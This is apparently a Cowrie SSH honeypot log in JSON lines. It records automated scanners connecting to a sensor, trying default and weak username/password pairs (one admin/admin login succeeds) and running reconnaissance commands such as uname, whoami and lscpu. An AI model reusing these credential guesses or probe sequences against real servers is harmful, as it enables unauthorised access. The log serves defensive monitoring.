{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.229093Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.594728Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.598174Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.817018Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:29.339555Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:29.343016Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":7,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:29.519715Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:29.877168Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:29.880533Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:30.035387Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:30.389094Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:30.392771Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:30.629143Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:30.634557Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":47100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0a26f10e29","protocol":"ssh","message":"New connection: 151.80.141.196:47100 (10.17.0.5:22) [session: 4c0a26f10e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:33.990506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:34.005994Z","src_ip":"151.80.141.196","session":"4c0a26f10e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:34.077323Z","src_ip":"151.80.141.196","session":"4c0a26f10e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nospam","message":"login attempt [admin/nospam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:34.372580Z","src_ip":"151.80.141.196","session":"4c0a26f10e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12436,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abe1060919c","protocol":"ssh","message":"New connection: 87.251.64.176:12436 (10.17.0.5:22) [session: 9abe1060919c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.273373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.282223Z","src_ip":"87.251.64.176","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.382871Z","src_ip":"87.251.64.176","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.466008Z","src_ip":"151.80.141.196","session":"4c0a26f10e29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.674801Z","src_ip":"87.251.64.176","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.775756Z","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.874073Z","src_ip":"87.251.64.176","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:35.972995Z","src_ip":"87.251.64.176","session":"9abe1060919c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":45582,"dst_ip":"10.17.0.5","dst_port":22,"session":"9635c6f40f4b","protocol":"ssh","message":"New connection: 165.227.170.113:45582 (10.17.0.5:22) [session: 9635c6f40f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:41.461617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:41.465714Z","src_ip":"165.227.170.113","session":"9635c6f40f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:41.548041Z","src_ip":"165.227.170.113","session":"9635c6f40f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bakuser","password":"bakuser","message":"login attempt [bakuser/bakuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:41.908412Z","src_ip":"165.227.170.113","session":"9635c6f40f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:42.998001Z","src_ip":"165.227.170.113","session":"9635c6f40f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":65517,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d05d1ea17ad","protocol":"ssh","message":"New connection: 74.87.117.146:65517 (10.17.0.5:22) [session: 9d05d1ea17ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:58.806934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:58.811765Z","src_ip":"74.87.117.146","session":"9d05d1ea17ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:58.836068Z","src_ip":"74.87.117.146","session":"9d05d1ea17ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxasqw12","message":"login attempt [admin/zxasqw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:58.963974Z","src_ip":"74.87.117.146","session":"9d05d1ea17ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:59.991485Z","src_ip":"74.87.117.146","session":"9d05d1ea17ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33950,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad96dca0fe35","protocol":"ssh","message":"New connection: 103.147.159.91:33950 (10.17.0.5:22) [session: ad96dca0fe35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:09.688078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:09.692564Z","src_ip":"103.147.159.91","session":"ad96dca0fe35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:09.937499Z","src_ip":"103.147.159.91","session":"ad96dca0fe35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123..","message":"login attempt [ubuntu/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:10.929875Z","src_ip":"103.147.159.91","session":"ad96dca0fe35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:12.171623Z","src_ip":"103.147.159.91","session":"ad96dca0fe35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd2be001b0f","protocol":"ssh","message":"New connection: 190.242.109.42:51606 (10.17.0.5:22) [session: 7fd2be001b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:21.203648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:21.209006Z","src_ip":"190.242.109.42","session":"7fd2be001b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:21.301387Z","src_ip":"190.242.109.42","session":"7fd2be001b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailserver","message":"login attempt [root/mailserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:21.701589Z","src_ip":"190.242.109.42","session":"7fd2be001b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:22.796639Z","src_ip":"190.242.109.42","session":"7fd2be001b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":36942,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce5ed78a88a","protocol":"ssh","message":"New connection: 165.227.170.113:36942 (10.17.0.5:22) [session: bce5ed78a88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:25.780878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:49:25.785990Z","src_ip":"165.227.170.113","session":"bce5ed78a88a","protocol":"ssh"}
